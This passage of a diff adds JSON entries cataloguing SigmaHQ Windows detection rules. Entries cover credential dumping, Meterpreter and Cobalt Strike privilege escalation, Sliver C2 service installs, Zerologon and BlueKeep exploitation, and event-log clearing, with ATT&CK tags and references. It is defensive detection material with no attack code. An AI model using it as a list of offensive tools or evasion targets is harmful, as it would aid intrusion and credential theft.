"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_rundll_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "win_system_invoke_obfuscation_via_rundll_services.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "uuid": "487c7524-f892-4054-b263-8a0ace63fc25", + "value": "Invoke-Obfuscation Via Stdin", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_stdin_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/12", + "filename": "win_system_invoke_obfuscation_via_stdin_services.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "uuid": "63e3365d-4824-42d8-8b82-e56810fefa0c", + "value": "Invoke-Obfuscation Via Use Clip", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_clip_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "win_system_invoke_obfuscation_via_use_clip_services.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "uuid": "7e9c7999-0f9b-4d4a-a6ed-af6d553d4af4", + "value": "Invoke-Obfuscation Via Use MSHTA", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_mshta_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "win_system_invoke_obfuscation_via_use_mshta_services.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "uuid": "641a4bfb-c017-44f7-800c-2aee0184ce9b", + "value": "Invoke-Obfuscation Via Use Rundll32", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_rundll32_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "win_system_invoke_obfuscation_via_use_rundll32_services.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "uuid": "14bcba49-a428-42d9-b943-e2ce0f0f7ae6", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_var_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "win_system_invoke_obfuscation_via_var_services.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation", + "uuid": "e6f81941-b1cd-4766-87db-9fc156f658ee", + "value": "KDC RC4-HMAC Downgrade CVE-2022-37966", + "meta": { + "refs": [ + "https://support.microsoft.com/en-us/topic/kb5021131-how-to-manage-the-kerberos-protocol-changes-related-to-cve-2022-37966-fd837ac3-cdec-4e76-a6ec-86e67501407d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_kdcsvc_rc4_downgrade.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/11/09", + "filename": "win_system_kdcsvc_rc4_downgrade.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects service creation from KrbRelayUp tool used for privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings)", + "uuid": "e97d9903-53b2-41fc-8cb9-889ed4093e80", + "value": "KrbRelayUp Service Installation", + "meta": { + "refs": [ + "https://github.com/Dec0ne/KrbRelayUp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_krbrelayup_service_installation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ], + "creation_date": "2022/05/11", + "filename": "win_system_krbrelayup_service_installation.yml", + "author": "Sittikorn S, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode", + "uuid": "bc2e25ed-b92b-4daa-b074-b502bdd1982b", + "value": "Local Privilege Escalation Indicator TabTip", + "meta": { + "refs": [ + "https://github.com/antonioCoco/JuicyPotatoNG", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_lpe_indicators_tabtip.yml" + ], + "tags": [ + "attack.execution", + "attack.t1557.001" + ], + "creation_date": "2022/10/07", + "filename": "win_system_lpe_indicators_tabtip.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the reporting of NTLMv1 being used between a client and server", + "uuid": "e9d4ab66-a532-4ef7-a502-66a9e4a34f5d", + "value": "NTLMv1 Logon Between Client and Server", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1550/002/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_lsasrv_ntlmv1.yml" + ], + "tags": [ + "attack.execution", + "attack.t1550.002", + "attack.s0363" + ], + "creation_date": "2022/04/26", + "filename": "win_system_lsasrv_ntlmv1.yml", + "author": "Tim Shelton", + "level": "low", + "falsepositive": [ + "Environments that use NTLMv1" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects well-known credential dumping tools execution via service execution events", + "uuid": "4976aa50-8f41-45c6-8b15-ab3fc10e79ed", + "value": "Credential Dumping Tools Service Execution", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_mal_creddumper.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "attack.t1003.006", + "attack.t1569.002", + "attack.s0005" + ], + "creation_date": "2017/03/05", + "filename": "win_system_mal_creddumper.yml", + "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate Administrator using credential dumping tool for password recovery" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", + "uuid": "843544a7-56e0-4dcc-a44f-5cc266dd97d6", + "value": "Meterpreter or Cobalt Strike Getsystem Service Installation", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.001", + "attack.t1134.002" + ], + "creation_date": "2019/10/26", + "filename": "win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml", + "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", + "level": "critical", + "falsepositive": [ + "Highly unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", + "uuid": "25b9c01c-350d-4b95-bed1-836d04a4f324", + "value": "Moriya Rootkit", + "meta": { + "refs": [ + "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_moriya_rootkit.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2021/05/06", + "filename": "win_system_moriya_rootkit.yml", + "author": "Bhabesh Raj", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This the exploitation of a NTFS vulnerability as reported without many details via Twitter", + "uuid": "f14719ce-d3ab-4e25-9ce6-2899092260b0", + "value": "NTFS Vulnerability Exploitation", + "meta": { + "refs": [ + "https://twitter.com/jonasLyk/status/1347900440000811010", + "https://twitter.com/wdormann/status/1347958161609809921", + "https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_ntfs_vuln_exploit.yml" + ], + "tags": [ + "attack.impact", + "attack.t1499.001" + ], + "creation_date": "2021/01/11", + "filename": "win_system_ntfs_vuln_exploit.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Windows Pcap driver installation based on a list of associated .sys files.", + "uuid": "7b687634-ab20-11ea-bb37-0242ac130002", + "value": "Windows Pcap Drivers", + "meta": { + "refs": [ + "https://ragged-lab.blogspot.com/2020/06/capturing-pcap-driver-installations.html#more", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_pcap_drivers.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.t1040" + ], + "creation_date": "2020/06/10", + "filename": "win_system_pcap_drivers.yml", + "author": "Cian Heasley", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with \"kali\" hostname.", + "uuid": "18f37338-b9bd-4117-a039-280c81f7a596", + "value": "Zerologon Exploitation Using Well-known Tools", + "meta": { + "refs": [ + "https://www.secura.com/blog/zero-logon", + "https://bi-zone.medium.com/hunting-for-zerologon-f65c61586382", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_possible_zerologon_exploitation_using_wellknown_tools.yml" + ], + "tags": [ + "attack.t1210", + "attack.lateral_movement" + ], + "creation_date": "2020/10/13", + "filename": "win_system_possible_zerologon_exploitation_using_wellknown_tools.yml", + "author": "Demyan Sokolin @_drd0c, Teymur Kheirkhabarov @HeirhabarovT, oscd.community", + "level": "critical", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects powershell script installed as a Service", + "uuid": "a2e5019d-a658-4c6a-92bf-7197b54e2cae", + "value": "PowerShell Scripts Installed as Services", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_powershell_script_installed_as_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2020/10/06", + "filename": "win_system_powershell_script_installed_as_service.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects QuarksPwDump clearing access history in hive", + "uuid": "39f919f3-980b-4e6f-a975-8af7e507ef2b", + "value": "QuarksPwDump Clearing Access History", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_quarkspwdump_clearing_hive_access_history.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2017/05/15", + "filename": "win_system_quarkspwdump_clearing_hive_access_history.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects rare service installs that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious services", + "uuid": "66bfef30-22a5-4fcd-ad44-8d81e60922ae", + "value": "Rare Service Installations", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_rare_service_installs.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ], + "creation_date": "2017/03/08", + "filename": "win_system_rare_service_installs.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Software installation", + "Software updates" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect suspicious error on protocol RDP, potential CVE-2019-0708", + "uuid": "aaa5b30d-f418-420b-83a0-299cb6024885", + "value": "Potential RDP Exploit CVE-2019-0708", + "meta": { + "refs": [ + "https://github.com/zerosum0x0/CVE-2019-0708", + "https://github.com/Ekultek/BlueKeep", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_rdp_potential_cve_2019_0708.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1210", + "car.2013-07-002" + ], + "creation_date": "2019/05/24", + "filename": "win_system_rdp_potential_cve_2019_0708.yml", + "author": "Lionel PRAT, Christophe BROCAS, @atc_project (improvements)", + "level": "medium", + "falsepositive": [ + "Bad connections or network interruptions" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects PsExec service installation and execution events (service and Sysmon)", + "uuid": "d26ce60c-2151-403c-9a42-49420d87b5e4", + "value": "Hacktool Service Registration or Execution", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_hacktools.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2022/03/21", + "filename": "win_system_service_install_hacktools.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects NetSupport Manager service installation on the target system.", + "uuid": "2d510d8d-912b-45c5-b1df-36faa3d8c3f4", + "value": "NetSupport Manager Service Install", + "meta": { + "refs": [ + "http://resources.netsupportsoftware.com/resources/manualpdfs/nsm_manual_uk.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_netsupport_manager.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/10/31", + "filename": "win_system_service_install_netsupport_manager.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of the tool" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects PAExec service installation", + "uuid": "de7ce410-b3fb-4e8a-b38c-3b999e2c3420", + "value": "PAExec Service Installation", + "meta": { + "refs": [ + "https://www.poweradmin.com/paexec/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_paexec.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2022/10/26", + "filename": "win_system_service_install_paexec.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines.\nPDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines\n", + "uuid": "ee9ca27c-9bd7-4cee-9b01-6e906be7cae3", + "value": "New PDQDeploy Service - Server Side", + "meta": { + "refs": [ + "https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_pdqdeploy.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/22", + "filename": "win_system_service_install_pdqdeploy.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of the tool" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects PDQDeploy service installation on the target system.\nWhen a package is deployed via PDQDeploy it installs a remote service on the target machine with the name \"PDQDeployRunner-X\" where \"X\" is an integer starting from 1\n", + "uuid": "b98a10af-1e1e-44a7-bab2-4cc026917648", + "value": "New PDQDeploy Service - Client Side", + "meta": { + "refs": [ + "https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_pdqdeploy_runner.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/22", + "filename": "win_system_service_install_pdqdeploy_runner.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of the tool" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects PsExec service installation and execution events (service and Sysmon)", + "uuid": "42c575ea-e41e-41f1-b248-8093c3e82a28", + "value": "PsExec Service Installation", + "meta": { + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_psexec.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2017/06/12", + "filename": "win_system_service_install_psexec.yml", + "author": "Thomas Patzke", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Remote Utilities Host service installation on the target system.", + "uuid": "85cce894-dd8b-4427-a958-5cc47a4dc9b9", + "value": "Remote Utilities Host Service Install", + "meta": { + "refs": [ + "https://www.remoteutilities.com/support/kb/host-service-won-t-start/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_remote_utilities.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/10/31", + "filename": "win_system_service_install_remote_utilities.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of the tool" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands", + "uuid": "31c51af6-e7aa-4da7-84d4-8f32cc580af2", + "value": "Sliver C2 Default Service Installation", + "meta": { + "refs": [ + "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/client/command/commands.go#L1231", + "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_sliver.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.t1543.003", + "attack.t1569.002" + ], + "creation_date": "2022/08/25", + "filename": "win_system_service_install_sliver.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a service installation that uses a suspicious double ampersand used in the image path value", + "uuid": "ca83e9f3-657a-45d0-88d6-c1ac280caf53", + "value": "New Service Uses Double Ampersand in Path", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_susp_double_ampersand.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/07/05", + "filename": "win_system_service_install_susp_double_ampersand.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded", + "uuid": "13fc89a9-971e-4ca6-b9dc-aa53a445bf40", + "value": "DHCP Server Loaded the CallOut DLL", + "meta": { + "refs": [ + "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", + "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2017/05/15", + "filename": "win_system_susp_dhcp_config.yml", + "author": "Dimitrios Slamaris", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded", + "uuid": "75edd3fd-7146-48e5-9848-3013d7f0282c", + "value": "DHCP Server Error Failed Loading the CallOut DLL", + "meta": { + "refs": [ + "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", + "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config_failed.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2017/05/15", + "filename": "win_system_susp_dhcp_config_failed.yml", + "author": "Dimitrios Slamaris, @atc_project (fix)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "One of the Windows Core Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", + "uuid": "100ef69e-3327-481c-8e5c-6d80d9507556", + "value": "System Eventlog Cleared", + "meta": { + "refs": [ + "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_eventlog_cleared.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001", + "car.2016-04-002" + ], + "creation_date": "2022/05/17", + "filename": "win_system_susp_eventlog_cleared.yml", + "author": "Florian Roth, Tim Shelton", + "level": "high", + "falsepositive": [ + "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", + "System provisioning (system reset before the golden image creation)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a ProcessHacker tool that elevated privileges to a very high level", + "uuid": "c4ff1eac-84ad-44dd-a6fb-d56a92fc43a9", + "value": "ProcessHacker Privilege Elevation", + "meta": { + "refs": [ + "https://twitter.com/1kwpeter/status/1397816101455765504", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_proceshacker.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.t1543.003", + "attack.t1569.002" + ], + "creation_date": "2021/05/27", + "filename": "win_system_susp_proceshacker.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the installation of RTCore service. Which could be an indication of Micro-Star MSI Afterburner vulnerable driver abuse", + "uuid": "91c49341-e2ef-40c0-ac45-49ec5c3fe26c", + "value": "RTCore Suspicious Service Installation", + "meta": { + "refs": [ + "https://github.com/br-sn/CheekyBlinder/blob/e1764a8a0e7cda8a3716aefa35799f560686e01c/CheekyBlinder/CheekyBlinder.cpp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_rtcore64_service_install.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/08/30", + "filename": "win_system_susp_rtcore64_service_install.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious SAM dump activity as cause by QuarksPwDump and other password dumpers", + "uuid": "839dd1e8-eda8-4834-8145-01beeee33acd", + "value": "SAM Dump to AppData", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_sam_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2018/01/27", + "filename": "win_system_susp_sam_dump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious service installation commands", + "uuid": "1d61f71d-59d2-479e-9562-4ff5f4ead16b", + "value": "Suspicious Service Installation", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ], + "creation_date": "2022/03/18", + "filename": "win_system_susp_service_installation.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects service installation in suspicious folder appdata", + "uuid": "5e993621-67d4-488a-b9ae-b420d08b96cb", + "value": "Service Installation in Suspicious Folder", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_folder.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ], + "creation_date": "2022/03/18", + "filename": "win_system_susp_service_installation_folder.yml", + "author": "pH-T", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects service installation with suspicious folder patterns", + "uuid": "1b2ae822-6fe1-43ba-aa7c-d1a3b3d1d5f2", + "value": "Service Installation with Suspicious Folder Pattern", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_folder_pattern.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ], + "creation_date": "2022/03/18", + "filename": "win_system_susp_service_installation_folder_pattern.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious service installation scripts", + "uuid": "70f00d10-60b2-4f34-b9a0-dc3df3fe762a", + "value": "Suspicious Service Installation Script", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_script.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ], + "creation_date": "2022/03/18", + "filename": "win_system_susp_service_installation_script.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Windows Update get some error Check if need a 0-days KB", + "uuid": "13cfeb75-9e33-4d04-b0f7-ab8faaa95a59", + "value": "Windows Update Error", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_system_update_error.yml" + ], + "tags": [ + "attack.impact", + "attack.resource_development", + "attack.t1584" + ], + "creation_date": "2021/12/04", + "filename": "win_system_susp_system_update_error.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "During exploitation of this vuln, two logs (providername:Microsoft-Windows-User Profiles Service) with eventid 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \\Users\\TEMP is created may be created during the exploitation.Viewed on 2008 Server", + "uuid": "52a85084-6989-40c3-8f32-091e12e17692", + "value": "Suspicious Usage of CVE_2021_34484 or CVE 2022_21919", + "meta": { + "refs": [ + "https://packetstormsecurity.com/files/166692/Windows-User-Profile-Service-Privlege-Escalation.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/16", + "filename": "win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml", + "author": "Cybex", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": 